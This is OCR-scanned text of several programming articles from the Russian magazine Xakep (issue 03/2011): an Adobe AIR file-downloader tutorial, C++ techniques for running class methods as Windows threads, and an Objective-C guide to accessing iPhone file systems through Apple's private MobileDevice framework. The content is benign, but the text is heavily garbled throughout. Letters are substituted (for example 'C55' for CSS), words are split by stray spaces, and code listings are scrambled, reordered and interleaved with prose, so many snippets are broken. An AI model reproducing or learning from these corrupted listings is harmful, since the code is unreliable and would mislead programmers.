СЯ : не все, что делается в АdоЬ'овских и Аррlе'вских продуктах, долж­ но быть п рекрасны м . Сейчас я покажу, как можно быстро испра вить ситуацию при помощи всего л и ш ь нескольких строк С55-кода. Закрывай запуще н н ы й при мер и создай в папке с С55 новый файл. П рисвой ему имя 5tyle.c55 и напиши в него следующее: . label

{ f l oat : le f t ; width : 2 0em; text - a l ign :

left ;

c lear : le f t ; margin -right :

2 0рх;

c o l or :

#A77FFF ;

c o l or :

# 0 0 8CFF ;

hl

Сохран и внесенные в файл изменения и подключи создан н ы й С55файл к 5impleOownloader.html. Подкл ючение вы пол няется при помо­ щи одной строчки кода (ее пишем в hea d l : < l ink hre f = " c s s / style . cs s " rel = " styl esheet " media= " a l l " />

Как справишься с этим заданием, вновь выпол н и сохранение п роекта и п роведи повторный запуск. Если ты все сделал без косяков, то наш гадкий утенок получит более презентабельный вид. После при мене­ ния С55 все стало вы глядеть луч ше, но это еще не повод останавли­ ваться. Если ты пользуешься С55 н е первый день, то тебе не составит труда придать п риложению еще более ш и карный вид. На этом можно сч итать, что разработка красивостей о кончена, и пора переходить к написанию Java5cript кода. Эх, ка к вспомню, что е ще каких-то лет восемь назад н и кто и подумать не мог, что язык Java5cript начнет испол ьзоваться повсеместно ... А сегодня уже тяжело п редставить жизнь без н его. Для создан и я иксовой качал­ ки нам потребуется помощь библиотеки AI RAlia5e5.j5, входящей в состав Adobe AI R 50К. Подкл ю ч и м ее к н а шему файлу-контенту:

s i zе= " З О " ></ lаЬеl><Ьr / > <script type= " text / j avascript " <b><label с l аs s = " lаЬеl " >Куда сохранять : < /Ь> < input type= " t ext "

id= " save-'pat h " value= " C : \ t emp \ "

s i z е= " З О " >< / lаЬе l ><Ьr / > <button onc l ick= " downloadIt ( ) ; " >Скачать ! < /Ьuttоп>

< / body>

П ерепиши приведе н н ы й код и попробуй запустить п риложение. Если от вида приложения ты почувствуеш ь рвотные позывы - не огорчайХ А К Е Р 0 3 / 1 46 / 2 0 1 1

src= " l ib ! a i r /AlRAl iases .

j S " >< / s cript>

Из этой библиоте ки мы воспол ьзуемся объекта м и U R L5tre a m , U R LReq u est и та к дал ее. П р и п о м о щи п е р во го, собств е н н о , и будет в ы полняться за грузка файла с удале н н ого с е р в е р а . В 5 0 К есть другой (более п ростой в о б р а ще н и и , хотя ... 1 объект, п р и п о м о щи котор о го м ожно о р га н изовать за грузку файлов, но U R L5tre a m куда луч ш е подходит для за грузки бол ь ш и х файлов [См . соответствующую врез куl.

� 1 09


За грузка фай лов function downloadl t ( )

var f i l e_url

document . getElementByld ( ' f i le_url ' ) . value ; var save-pat h

document . getElementByld (

' save-path ' ) . value

+

+

" \\ "

Get F i l ename ( f i le_url ) ;

var download_url var urlSt ream var f i l e

new a i r . URLReques t ( f i l e_url ) ;

new a i r . URLStream ( ) ;

new a i r . Fi l e ( ) ;

f i l e . nat ivePath

var f i leStream

save-pat h ;

new a i r . F i l eStream ( ) ;

Полет окончен

urlSt ream . addEventLis tener ( air . Progre s s Event . PROGRESS , function ( ) { wri t eToFi l e ( event , urlStream , ),

f i leStream) ;

f a l se ) ;

url Stream . addEventListener ( a i r . Event . COMPLETE , function ( ) { saveF i l e ( event , ) ,

urlStream,

f i l eStream) ;

f a l se ) ;

f i leStream . open ( f i l e ,

файла и о пределить обработч и к и событ и й . В о время их срабатыва­ н ия будут выполняться фун кции writeTo File [ J и saveFile[]. Ка к только наше п р иложе н и е получит оп ределе н ную порцию да н н ы х , будет вызы ваться фун к ц и я , выпол н я ющая их запись. Событие C O M PLETE будет св идетельствовать о заверш е н и и за грузки файла и вызовет функцию save Filell. Она з а п и шет последн и е п олуч е н н ы е да н н ы е и за кроет файл . Собствен н о , на этом разбор л и ст и н га можно сч итать око н ч е н н ы м . Я п о н и м а ю, что тебе м н о гое может быть непонятн ы м , но я и так превысил выдел е н н ы Й для статьи л и м ит места, и редактор уже , угрожает м н е анальной стимул я ц и е й , поэтому не подводи м е н я , а п р оштуд ируй самостоятельно с п р а в о ч н и к п о J S [без этого в м и р е AI R делать н е ч е го]. Особо пристальное в н и м а н и е обрати на а н о н и м н ы е фун к ц и и . С и х помощью я р е ш ил п робл е му п е р едачи дополн ител ьных па раметров в фун кции writeTo Fi le [ J и save Fi le l l .

a i r . Fi l eMode . WRITE ) ;

A d o b e A I R п р едоста вляет массу в о з м ожносте й . Чтобы н а ч ать п исать п р иложе н и я для это й платфор м ы , не нужно быть суп е р ­ гуру с десятью к и л о гра м м а м и м о з го в . Достато ч н о п о ч итать н е м н ого л ите рату р ы и п одойти к делу м а кс и м а л ь н о т в о р ч е с к и . П р и в с е й п ростоте , эта тех н ол о ги я с м о гла з а в о е вать п о пул я р ­ н ость ка к с р еди ко м п а н и й - г и га нто в [ н а п ри м е р , ya h o o ] , та к и среди п р о стых р а з р а ботч и ко в . Н ад е ю с ь , о н а п о н р а в ится и тебе. Уда ч и l I

Не AIR единым

urlStream . load ( download_url ) ;

function wri t eToF i l e ( e ,

if

url Stream,

f i l eStream)

( ur lS tream . bytesAva i l able > О )

var data

new ai r . ByteArray ( ) ;

urlSt ream . readBytes ( data ,

О,

urlSt ream . byt esAva i lable ) ; f i leStream . wri t eBytes ( da t a ,

function saveF i l e ( e ,

var data

urlStream ,

О,

data . length ) ;

f i leStream)

new a i r . ByteArray ( ) ;

urlStream . readBytes ( dat a ,

О,

urlStream . bytesAvai lab l e ) ; f i leStream. writ eBytes ( data ,

О,

data . length ) ;

f i leStream . c lose ( ) ; alert ( " Загрузка файла завершена ! " ) ;

Н а п е р в ы й взгляд этот код м ожет п о казаться сл и ш ко м бол ь ш и м и слож н ы м . Ну и что. зато есл и н а п исать то же самое на Delphi/C++. то п о объему получ ится е ще бол ьше. а н а в н е ш н и й вид - е ще стр а ш н е е . В самом н а ч а л е л и стинга я оп ределя ю р я д служебных п е р е м е н н ы х . Нарочно н е делаю н и каких дополн ител ьных п роверок, я доверяю и сохр а н я ю в п е р е м е н н ы е file_u rl и save_path ссылку на за гружа е­ м ы й файл и путь з а п и с и фа йла н а л о кальном ком пьютере соот­ ветстве н н о . П олуч и в пути к файл а м , я создаю э кземпляры объектов U RLRequest !содержит путь к за гружаемому фа йлу] , U R LStream [наш поток] и File [взаи модействие с файла м и ] . П осле завершения и н и циализации объектов н еобходи мо запустить процесс закачки

� 110

Adobe AIR - штука прикольная, но уже сейчас у него есть достаточно сильный оппонент. Имя ему - Titanium [как-то в ] [ была статья п ро эту зверюшку]. По сути, Titu n i u m умеет многое из того, что и Adobe AIR, плюс несколько оригинальных и, самое главное, полезных фич: возможность выбора в качестве языка п рограммирова ния Python, Ru by, Р Н Р и JavaScript; созда ние дополнительных п роцессов; НТТР­ сервер; асинхрон ные события и так далее. Помимо всего перечис­ ленного, Tita nium [appcelerator.com/products] дурманит запахом полной свободы. Это полностью бесплатн ый [в отл ичие oTAdobe AIR] Ореп Source п родукт. Вдобавок к этому, титаниум позволяет не только разрабатывать, но и распространять приложения, получая детальную статистику по загрузкам.

Простей ш ий способ переноса web-п риложени я на дескто п После п рочтения статьи ты наверняка захочешь смастерить десктоп­ ный вариант своего са йта/блога ил и еще чего-либо. Несомненно, тебе в этом поможет платформа Adobe AIR, но учти , что для типовых ситуаций есть более простой способ. Я говорю о проекте Mozilla Prism [prism.mozi lla.com]. По адресу сайта проекта несложно понять, что его кури рует Mozilla Corporation - разработч ики браузера FireFox. П р и помощи Prism т ы сможешь в несколько кликов сотворитьдесктопную версию любого web-сервиса. Стоиттолько отдавать себе отчет в том, что пол ноценный перенос с хранилищем для данных, созданных во время автономной работы, Prism, конечно же, сделать не сможет. Перенос таких проектов без программирования нереален. А вот избавиться от браузера для работы с определенным web-сервисом вполне можно. Как это будет выглядеть ? Ты выбираешь сайт или сервис [например, почту] и вбиваешь соответствующие настройки в конфигуратор Prism. После этого будут созданы ярлыки для быстрого запуска. Когда потребуется зайти в web-почтовик, достаточно будет за пустить ярлык, и ты сразу же окажешься в почтовом ящике. Други ми слова м и , Prism представляетсобой п ростейший браузер [основан на XULRunner] без привычного G U I . ХАКЕР 0 3 / 1 4 6 / 20 1 1


Многопоточные классы

Проrpаммерские типсы и триксы е Сегодня

п рактически все ОС поддерживают многозадачность . Потоки, п роцессы и п рочие атрибуты сейчас уже не кажутся чем-то страшным и необычным. Мульти поточность исп ользуется п рактически в любом современном п риложении. А еще в наше время очень активно п рименяется ооп. Сегодня мы узнаем, как в С++ подружить между собой и многопоточность, и ооп. П еред нами стоит задача написать класс, который будет за пускать н е который код в отдельном треде. Для этого будем использовать стандартную функцию Windows API - CreateThread. Более подхо­ дящ и м решением было бы п р и м е н ить _Ьеgiпth геаd из стандартной библиотеки, но для отражения общей сути CreateThread вполне сго­ дится. Давай взгля нем на код.

Потоковая функция - член класса c l a s s MyC l a s s

pub l i c : voi d RunThread ( ) ;

Создание потока из класса

private : DWORD WINAPI ThreadFunc ( LPVOID lpParam ) ;

DWORD WINAPI ThreadFunc ( LPVOI D lpParam) мы

// тут

не можем получить доступ к

/ / з акрытым членам класса

};

return О ; DWORD WINAPI MyC l a s s : : ThreadFunc ( LPVOID lpParam)

c l a s s MyC l a s s return О ;

pub l i c : MyC l a s s ( void ) ; -МуС l аs s ( vоid ) ;

void MyC l as s : : RunThread ( ) void RunThread ( ) ; HANDLE hThread; DWORD idThread;

privat e : int m_intVar ;

// на такой код будет ругаться компилятор

};

hThread = vo i d MyC l a s s : : RunThread ( )

О,

О,

: : Creat eThread ( NULL ,

О,

&ThreadFunc ,

& idThread ) ;

НANDLE hThread; DWORD idThread;

hThread О,

О,

=

: : Creat eThread (NULL ,

О,

&ThreadFunc ,

& i dThread ) ;

Все о ч е н ь п р осто. Есть класс MyC lass, кото р ы й создает поток с п о м о щью C reate Thread. П отоковая фун кция T h read Fu п с нахо­ дится в н е класса. Ком п и л и руется этот код без п робл е м , н о есть нескол ько н ю а н с о в , из-за кото р ы х та кое р е ш е н и е м ожет оказать­ ся н е п р и е мл е м ы м . Основ ная проблема з а кл ючается в том , что м ы н е м ожем полу­ ч ить доступ к в н утр е н н и м м етодам и п е р е м е н н ы м класса. П е р в о е , что п р и ходит в голову д л я р е ш е н и я этой зада ч ки - сделать пото­ ковую фун к ц и ю ч л е н о м класса . То есть п р и м е р н о та к :

� 112

Но если п о п робовать с к о р м ить этот код ко м п и лятору, то М Ы получ и м о ш и б ку, суть котор о й заключа ется в том , что т и п п ото­ ковой фун к ц и и не соответствует требуем ому. Есл и коп нуть глубже, то мы п о й м е м , что ком п илято р п р о сто не м ожет п о н ять, адрес какой и м е н н о Т h геа d Fu п с п е р еда вать в кач естве третьего п а р а м етра в C reateThre a d . П р и это м о бъекто в MyC lass м ожет быть созда н о н е с колько, и р а с п ола гаться о н и м о гут в л ю б о м куске п а м ят и , а A P I дл я созда н и я треда требует ука з а н и я то ч н о­ го адреса п отоко вой фун кци и , кото р ы й , понятное дел о , ста н о ­ в ится и з вестен л и ш ь во в р е м я в ы п ол н е н и я п ро г ра м м ы . Та к что ком п илятор л и ш ь разводит рука м и и п редла га ет еще н е м ного п о р а с к и нуть м оз га м и . С л едую щ е е , что п р и ходит в голо ву, это о п ять в ы н ести Т h ге а d F u п с за п редел ы кл а с с а , но в этот раз сделать ее друже­ ств е н н о й к M y C lass с п о м о щью д и р е кт и в ы frie n d . О бъявл е н н а я ХАКЕР 03 / 1 46/ 2 0 1 1


E.ie

..pТhr... d · Microsoft VIs ...t С++ [....Ign] · MyClass.cpp �dt

�jed

!;lebug

1001<

YtЫOW

. W · fu · � IiiI " I � � 8 1 <1 - "' - � , "' I l:& � b A' I \l< i"' / � � I "' � � " ,

J

oopTtread."",

l ' �Q..g�. FijМyClas

I МyCIas,.h

� # l nclude

#include

МyOнs.cpp

, • х

/ stdafx."", I ,t<Wx.h I

��R���Тtr -eod �----------------------------------Э ' Т Э IГ

"StdJ.t x . ь."

_

" . \ myc lаЗ5 . Ь"

- DVORD VINIPI ThreadFunc (LPVOID lpParem)

<

KyCla�s'" mc -

cout «

ret.urn

m_1nt.Var =

")

«

8

О;

IМyCI;t.. vceodeC1os, []IO �! /� f S Ве

VOid

<}

(....)..

lIуСlазз : : RunТhread ( )

HJ.NDLE hТbre:ad; DVORD

ldТhread;

hThread -

project)

@J References E:j Sourсе _ @ МyCIas,.cpp @ "",тtreod."", @ stdafx."", E:j Нeade< _ @ МyCIoss.h @ stdafx.h CJ ResOU'ce Fies liJ о.""".""

-�� еl,,,, . . Ii!R!J! еSO ...

ИуСlазз: :-ИуСlаЗ1!l (void)

l

8

mc->m_1ntVаr :

l: � l:

/ Ioi ,_ '"",Тh:ead' (1 /8 � оорп...od

(ИуСla.ss-l lрРаram:

_T I "Start t.hroead,

� НуСlазз : : КуСlазs (vo1d)

_ ExoIar... . "",Тh:eod 4 Х П � � -77������­

: : Create:Thread (NULL,

О,

'ТhreadFunc ,

thiз,

О,

-

I

I_

•/§

'�e

МYCIaS,

FuIINarne

/Y1yC!ass

IsAbst:r",t

FaI$e

IslnJected

F s

JsМanal;led

False

h:\src\xaket\oopthl(

al e

Is5ealed

'idThread) ;

4 Х

Fa 5

le

Isfemp/ate

F<tIse

I'V""

False

.f -�Pr_tiesl о

Dy.,..,;c НeIp

I

�/,[]� I��====�========================�__________________________________�______� /I���� �__� � � � 1 � � � � 1 __ __ Кадим многопоточный класс В vs

та к и м о б р а з о м п отоковая фун кц и я должна без п робл е м полу­ ч ить доступ к p riva t e ч л е н а м MyC lass. Но, та к как Тh геа d Fu п с существует в еди н ств е н н о м э кз е м п л я р е , а о бъе ктов класса м ожет б ыть м н ожеств о , то нам п р идется п е р еда вать п отоковой фун к ц и и в кач естве п а р а м етра указател ь н а созда ю щ и й тред объект.

void MyCl a s s : : RunThread ( )

HANDLE hThread; DWORD idThrea d ;

/ / передаем потоковой функции указатель на / / текущий объект :

hThread =

Потоковая функция , друже ственная классу

thi s ,

DWORD WINAPI ThreadFunc ( LPVOI D lpParam ) ;

О,

: CreateThread ( NULL ,

О,

&ThreadFunc ,

& idThread ) ;

c l a s s MyC l a s s

pub l i c :

vo i d RunThread ( ) ; f r iend DWORD WINAPI ThreadFunc ( LPVOID lpParam ) ;

private :

int m_intVa r ; }; DWORD WINAPI ThreadFunc ( LPVOID lpParam) / / а тут

мы

уже можем обращаться к private членам

MyClas s * тс = mc- >m_iпtVаr cout «

«

( MyCla s s * ) lpParam; =

90;

_T ( " St a r t thread , mc - >m_iпtVаr ;

return О ;

m_intVar

"

)

Все в этом примере хорошо, за исключением одного: К ThreadFunc можно обратиться в обход MyClass, а это не только делает бессмыс­ л е н н ы м создан и е отдельного класса для п роектирования потока, но и нарушает и н капсуляцию - основной принцип объектно­ ориентированного програ м ми рова н и я . П отоковая фун кция и меет доcrуп к за крыты м членам класса, а следовательно, любой желаю­ щий может их изменить, нарушая все законы О О П . Очевидно, что для решения п роблемы с и н капсуляцией н а м надо вернуть Тhгеа d Fu п с обратно в пределы класса. Но, ка к мы уже видели в ы ш е , комп илятор отказы вается работать с та ким кодом. Исправить это можно, объя вив потоковую фун кцию статической. В этом случае ее адрес будет известен на эта пе сборки п рогра м м ы , что позволит избежать п роблем с ком п иляцией. Но так как функция-член ThreadFunc статическая, то, работая с дру­ гими членами MyClass, она не сможет корректно определить, с каким именно объектом класса ей нужно производить те или иные действия. Как и в случае с дружественной функцией, нам надо будет передавать потоку в качестве параметра указатель на текущий объект. Статическая потоковая функция - член класса c l a s s MyC l a s s

ХАКЕР 0 3 / 1 46/ 2 0 1 1

� 1 13


.

_

Cn:lI!cThrClld function

...... IrnOOrI c.-..__• -" -�-� '.-........... _.. ...... ............ _.. l.n8UD_nv:>'_-'- .... __ .. ... ""'� """-"'" _.. - _.._,.... _..

-

-- ..... ...

-

:.:...:.:.� _ ... _ ..- ... _ _ _ Ioo _ � _ _ "I1_ . ...... ...

.-

::.=...,.:� . .."':'=-..:.: =.'С':'" ....:.-= ., =::� .::.� ::... ro.:---

"="' r...._-_ .... -:. . ==-" .::. ;.,':.'::: =-.=:.:-.k:'�.�

,:9тt:e,� --_ ;:: ::: ��:

.. ми...,. ..AN_._­

.. --- - ", ... _. -

.. ... __ " ___1f .. ·_ ...

___ ...

:.:;:.::...-- - .... _�... _ .... _ .. __ . .... _ . ....

....,... _'"' ... _·

__ ... ...

-

_-

._ ... _ .. .. _ .... -

:""I= I.,.::;::::. �"=':.:..':"� �� ...::...

-

. ..

Дружественная классу потоковая функция успешно изменяет его закрытые переменные

.. _ .. . _ _ . . -... _ - _ ...

. _ - _ ... - - _ . .. _ - -

МSDN может рассказать много полезного о CreateТhread

Воспольз о в а в ш и с ь этой д и р е ктивой и н е м н о го подп р а в и в код, потоковую фун кцию уже можно не делать статическо й . Для боль­ шей н а гл ядн ости посмотр и м код:

publ i c :

Использование _clo5ure typedef uns igned long void RunThread ( ) ;

* a rg ) ;

typede f uns i gned long pr ivate :

* a rg ) ;

s t a t i c DWORD WINAPI ThreadFunc ( LPVOID lpPararn ) ;

( _stdca l l * ThdFunc ) ( void

11 прототип функции потока

( _c l o sure * C l a s sMethod) ( vo id

1 1 прототип метода класса

1 1 данное объединение позволяет решить несостыковку с

типами

typedef union } ; ThrdFunc Funct ion ; DWORD WINAPI MyC l a s s : : ThreadFunc ( LPVOID lpPararn)

C l a s sMethod Method; tThrdAdd r ;

11 и тут

мы

MyC l a s s * тс mc - >m_iпtVаr cout «

«

уже можем обращаться к private членам ( MyC l as s * ) lpPararn;

=

=

c l a s s MyC l a s s

90;

_T ( " Start thread ,

m_intVar

"

)

privat e :

mc - >m_iпtVаr i

t ThrdAddr Add r ;

return О ;

protected : unsigned l ong ThreadFunc ( void * a r g )

void MyCl as s : : RunThread ( ) }; HANDLE hThread; DWORD idThread ;

publ i c : RunThread ( )

1 1 передаем потоковой функции указатель 1 1 на текущий объект

hThread = О,

О,

: : CreateThread ( NULL ,

О,

DWORD idThread ;

&ThreadFunc ,

& i dThread ) ;

Addr . Method = &ThrdНandl e ;

1 1 тут идет преобразование указателя

Те п е р ь м ы р е ш ил и все н а ш и пробл е м ы . В неся код треда в MyClass, мы о б о ш л и сложности с и н капсул я ци е й - теп е р ь доступ к за крытым ч л е н а м класса осуществляется тол ько л и ш ь из м ето­ да класса. А объя в и в Т h ге а d Fu п с в private блоке, м ы тем с а м ы м л и ш ил и пол ьзо вател е й н а ш е го класса возможности выз вать потоковую фун кцию н а п ря мую. Этот в а р и а нт р е ш е н и я н а ш е й зада ч к и можно назвать са м ы м опти мальн ы м и , казалось б ы , оста н о в иться н а это м . Н о есть е ще оди н трюк, в о с н о в н о м для л юб ителе й С++ B u ilder, о кото р о м я долже н рассказать. Реал изация ко м п ил ятора от Борла нда содержит в себе д и р е кти­ ву _closure, которая служит для о п р едел е н и я типа обработч и ка событи я . Вообще, обработч и к события п редста вляет собой указа­ тел ь н а фун к ц и ю . О б ы ч н о этот указате л ь и меет 4-байтн ы й размер, но п р и о п редел е н и и та кого типа указателя функции п е редается е ще и указатель t h i s н а экземпляр класса, поэтому указател ь и м еет 8-байтов ы й размер.

� 114

CreateThread (NULL , this ,

О,

О,

Addr . Func t i o n ,

& i dThread) ;

}; };

Конечно, такое решение п р и годно л и ш ь для испол ьзования его в среде Bu ilder, а м н огие п рогра м м и сты считают е го гря з н ы м хаком. К тому же, и с пользова ние объед и н е н и й для решения п роблем с типизацией - то еще извращение. Но, с другой сторон ы , если код работает корректно - значит, он и меет п ра во на существование.

Закл ючение

Теперь мы можем п и сать О О П - код, который выполняется в раз­ л и ч ных потоках. П еречисл е н н ы е выше способы н е я вл я ются един ­ ств е н н ы м и - возможно, кто-то п р идумал что-то более и нтересное для реал изации да нной зада ч и . Н о для написа н ия качественных программ этого вполне достаточно. :х: ХАКЕР 03 / 1 46/ 2 0 1 1


• •

В с е в о л о д З а х а р о в I s e v a fa v i n g r a d . r u J

ЮЗАЕМ IPHONE ИЗ МАС OS X 3aKP)ITbIe во з можно.сти М а е OS Х ДJJЯ ра б от ы е м dО и ль ны ми уетрои етвами от A-р р L е с) И з

это й стать и ты узнае ш ь, как можно о б щ аться с iPhone , iPad и iPod touch и з сво и х программ под Мас OS Х , не пр иб егая к скр и пт и нгу iTunes . В результате сегодня ш не й ра б оты мы получ и м полны й доступ к ф а й ловой с и стеме мо би льного устройства с помо щ ью закрытого ф реймворка Mobiie Device Framework . Введение

Мне нередко приходилось видеть в сети вопросы типа: « М ожно ли испол ьзовать мой iPhone как флешку?». Действительно, п а м яти на устройстве уста новлено немало, хотелось бы и м еть возможность использовать ее свободно, а не только для хра нения файлов, полу­ ч е н н ы х через iТu пеs в разл и ч н ы х сервисах Apple. Однако i P hone·bI и i Pod·bI I и меются в виду i Pod touch) при п одкл ю ч е н и и не монтиру­ ются ка к съе м н ы е носител и ни в Мас 05 Х, ни в в и ндах. Apple действительно н е п редоставила такой фун кциональности в своих устройствах, но общественность не дремлет, и со временем появилось м н ожество утилит, которые дают пользователю возмож­ ность работать с устройством Apple ка к со съе м н ы м носителем. Н е которые из н и х уста на вл и ва ются на i Рhопе, некоторые - на хост. Одн и работают ч ерез Wi-Fi I н а п р и м е р Flash Dгive ) , другие - через U5B liPhone Folders). Нас будет интересовать в основном работа через U 5 B Wi- Fi не везде есть, да и скорость обмена да н н ы м и в этом случае оста вляет желать лучшего . -

ХАКЕР 0 3 / 1 46/ 2 0 1 1

Готовые тулзы

И х немало. Те, что работают через U5B, можно усл овно разделить на два класса : одн и нужно ставить на мобильное устройство 'тогда потребуется и jai lbreak), другие следует уста н а вл и вать на хост. В качестве п р и мера последних можно п р и вести i Рhопе foldeгs liphonefolders.coml . iPhone Folde rs - это расширение Windows Explorer, которое позволяет п росматривать, копировать и удалять содержимое i Pod touch или i Phone, соед и н е нного с компьютером через U5B, ка к в обычной п а п ке п роводни ка . В общем, у а п па рата появляется фун кциональность обычного съемного диска, п р и этом j a i l b reak не требуется , но на хосте должен быть установлен iTu nes. Та ких поделок существует достаточ н о много ITouch Drive, Touch С о ру и тому подобные), а некоторые из них даже стоят денег, хотя, ка к мы потом увид и м , н и чего сложного в созда н и и та ких прог нет. В качестве а налогичного решения для Мас 05 Х можно п р и вести i PhoneDisk - плагин к M acFuse, котор ы й также позвол я ет работать с файловой системой i Phone.

� 115


ц · УСТРОИ(l'." Е3 м..с mlпi

@ Y�eHHWii ДКСIC

Applicalionдtchive.

... Общий доступ

(om.apple..lttlnes.!

com.apple..ltune.sst

.postproce.ss.!ock

oc�sync

ore.d.sch...e.ws.ptist

Downloads

dpkg-re.state-

dpkg-re.state.-

stdtrr

stdout

Podcasts

PubIk5taglng

· ПI.ПlCи � OeI.VV

1fi! StI611KOTtlOl g Р;l6очмм (Т01l А ПРОrpullol" O ];lllmICIt (2J Dropbol( I&! Torтtna C] lnst.lll fJ Му)ЫIC.iII IJ ДОмуме.кт.. е с.illЙПool

DCIM

D

com.apple..itdbpre.p

iТunts_Control

Photos

Purchase.s

Re.cordlngs

!! iPod tou<h

, , ..

Папки iPhone можно видеть в Finder'e благодаря iPhoneDisk Среди п рог, которые устанавливаются на само мобильное устройство и обеспечивают его монтирование при подкл ючении как съемного носителя, можно отметить, например, U5B Drive, которая доступна через Cyd ia. Подобные приложения имеют существенные недостат­ ки, потому что они, как п равило, предлагают на выбор три режима работы, для переключения между которыми требуется переза грузка мобильного устройства. В режиме Default устройство будет работать как обычно: гаджет можно будет использовать в качестве модема, распознавать его в i Photo как фотокамеру [по протоколу РТР - Picture Тгапsfег Protocoll и синхронизировать с iTunes. Второй режи м , Drive + iТuпеs, работает только в Мас 05 Х. В этом слу­ чае интерфейс РТР будет заменен другим, Mass 5torage, что позволит испол ьзовать девайс в качестве U5В-флешки. П ри этом си нхрониза­ ция с iTunes и дебаггер XCode продолжат работать как в дефолтном режиме. А в режи ме Drive Опlу устройство определится только как U5В-диск. П ри этом он будет виден в любой операционной системе.

Протоколы iТunes

Все тайное рано или поздно становится явным, и как бы Apple не пыталась закрыть протоколы , по которым ее мобильные устройства взаимодействуют с iTunes, всегда найдутся ребята, которые все это п рогонят под U5В-снифером, отреверсят софт, драйвера и проведут все остальные необходимые опера ции. Так как Apple традиционно не поддерживает Linux, обеспечивать работу ее устройств в этой опера­ ционке пришлось сообществу. Так появился проект libimobiledevice [li bl mobi ledevice.orgl . libimobiledevice - это библ и отека, которая обе­ спечивает вза имодействие с iPhone, i Pod touch, i Pad и Apple ТУ. В отличие от других подобных п роектов, она не зависит от стороннего п роприетарного программного обеспечения и не требует jailbreak·a устройств. Эта библиотека позволяет другим приложениям свободно работать с данными на мобильных устройствах, делать бэкапы, управлять и конками 5ргiпgВоагd, управлять уста новленными на устройствах приложениями, синхронизировать музыку и видео. На рисунке видно, что библ и отека взаи м одействует с U5Bустройства ми через libusb- l .0. usbmuxd - демон, который обеспечивает мул ьтиплексную передачу данных по TCP/IP через U5Bи нтерфейс. Таким образом, ДЛЯ остального софта U5В-интерфейс становится прозрачным и он может взаимодействовать с сервиса м и , бегающими на мобильном устройстве, через сокеты. ДЛЯ обмена дан н ы м и с демоном используется библиотека libusbmuxd. libiphone - это уже реализация протоколов сер висов i05. Если п р иложение работает с файловой системой мобильного устройства, то оно использует AFC- [или AFC2-1 протокол. AFC IApple File Соппесtiопl - это сервис, который доступен на каждом i Рhопе/iРоd touch. Именно этот сервис iТuпеs использует для обмена файлам и с устройством.

� 116

Собственно libmobiledevice для работы с файловой системой i Phone из Мас 05 Х нам не понадобится: можно было бы заюзать связку usbmuxd/libiphone, но мы пойдем по другому пути и воспользуемся побочным п родуктом разработки libmobiledevice - резул ьтата ми реверсинга MobileDevice.framework. Этот закрытый фреймворк идет вместе с Мас 05 Х и предоставляет высокоуровневый интерфейс к мобильному устройству. Найти его можно по пути /5ystem/Libraгy/ PrivateFrameworks/MobileDevice.framework. Хедеры там, понятное дело, найти невозможно. А вот найти хедеры, которые появились после исследования этого фреймворка реверс-инженера м и , можно на thеlрhопеwiki.соm . Как видно по найденому нами mobiledevice. h, функции в M obileDevice.framework работают на достаточно высоком уровне, так что заморачиваться с U5В-мультиплексингом и про­ чим нам не п ридется. В качестве при мера работы с M obileDevice. framework мы создадим класс для обмена файлами с устройством.

Кодим

Кодить будем на Objective-C/Cocoa. Не забудь в п роекте XCode доба­ вить ссылку на MobileDevice.framework, чтобы все нормально сли н ­ ковалось. Создадим два класса: MobileDevice и MobileDevice5eгver. П ервый будет отвечать за работу с файловой системой мобильного устройства, второй - за подкл ючение/отключение устройств. Интерфейс на ш их кл ассов # import <Cocoa/ Cocoa . h> # import

" Mobi l eDevice . h "

@interface MobileDevice

:

NSObj ect

@public struct arn_device * dev ; struct afc_connection * соnn ;

-

( MobileDevice * )

initWithDevice :

( struct aт_device * ) -

(MobileDevice * )

device ;

сору ;

/ / в этом методе инициируем АРС соединение -

( BOOL)

connect ;

/ / Получаем свойства устройства , например тип или имя

-

(NSString * )

getValue :

( CFStringRe f )

пате ;

/ / Собственно работа с файловой системой (NSSt ring * )

-

( BOOL)

pathExi st :

-

( BOOL)

downloadF i l e :

remote-path toLocat ion : -

( BOOL)

uploadF i l e :

toLocation : -

( BOOL)

-

( BOOL)

(NSString * )

( NSString * )

remote-path;

(NSString * )

loca1-path;

uploadDirectory :

toLocation :

( NSString * )

-

( BOOL)

removeDirectory :

-

(BOOL)

isDirectory :

local -path;

loca1-path

(NSString * )

downloadDirectory :

toLocat ion :

path;

(NSString * )

( NSString * )

( NSString * )

remote-path

local-path

remote-path; (NSString *)

(NSSt ring * )

remote-path;

path;

@end

/ / Сервер сделаем синглтоном , / / i n i t у него н е будет ,

поэтому методов

а default Server возвращает

/ / единственный инстанс класса @interface Mob i leDeviceServer

:

NSObject

@pub l i c NSMutableArray * MobileDevice s ;

+

(MobileDeviceServer * )

delfaultServer;

@end

Реализация MobileDevice5eгver простая, поэтому приведу ее здесь полностью. Основная задача этого класса - получать уведомления ХАКЕР 03 / 1 4 6 / 20 1 1


от MobileDevice.framework о подключении/отключении устройств и формировать список подключенных, что бы потом хендлер устрой­ ства можно было использовать при создан и и инстанса класса MobileDevice. @ implementation MobileDeviceServer

static Mobi leDeviceServer * DefaultServer

nil;

static void AmDeviceNo t i f i cationCal lback ( struct am_device_noti ficat ion_ca l lback_info

* info )

if

{

( info->msg

==

ADNCI_MSG_CONNECTED)

1/ Новое устройство MobileDevice

*

device

usbmuxd

[ [Mobi leDevice a l loc]

=

ini tWithDevice :

info- >dev ] ;

[device connec t ] ; [ DefaultServer- >МоЬi lеDеviсеs addObject :

else if

{

device ] ;

libusb-1.0

( info->msg == ADNCI_MSG_DI SCONNECTED )

Структура libmobiledevice

/ / Отключили устройство for

( int i = О ; i

return FALS E ;

a fc_f i l e_ref f i le_ref ; if

/ / Ищем его в своем списке и удаляем if

( соnn = = n i l )

if

( Default Server- >МоЬi lеDеviсеs count ] ;

<

++i )

( AFCF i l eRefOpen ( сопп ,

I I I MobileDevice * ) [ DeEault Server- >МоЬi lеDеviсеs obj ectAtlndex :

i ] ) - >dev

==

[ remote-path cString ] ,

AFC_MODE_READ ,

О,

& f i le_re f )

!=

О)

return FALS E ;

info- >dev)

F I L E * local_fi l e = Еореп ( [ Default Server->МоЬilеDеviсеs removeObjectAt lndex :

[ loca1-path cString ] ,

i] ;

" w" ) ;

break;

if

f i le_re f ) ;

return NO ;

}

+

( local_f i l e = = NULL )

AFCFi l eRefC lose ( conn ,

}

I MobileDeviceServer * )

( Default Server == n i l )

if

DefaultServer =

char bu f fer [ l O O O O ] ;

delfaultServer

int

{

[ [MobileDeviceServer a l l o c ]

/ / Тут будем хранить список подключенных устройств

do ( len = s i z eo f ( bu f f er ) ;

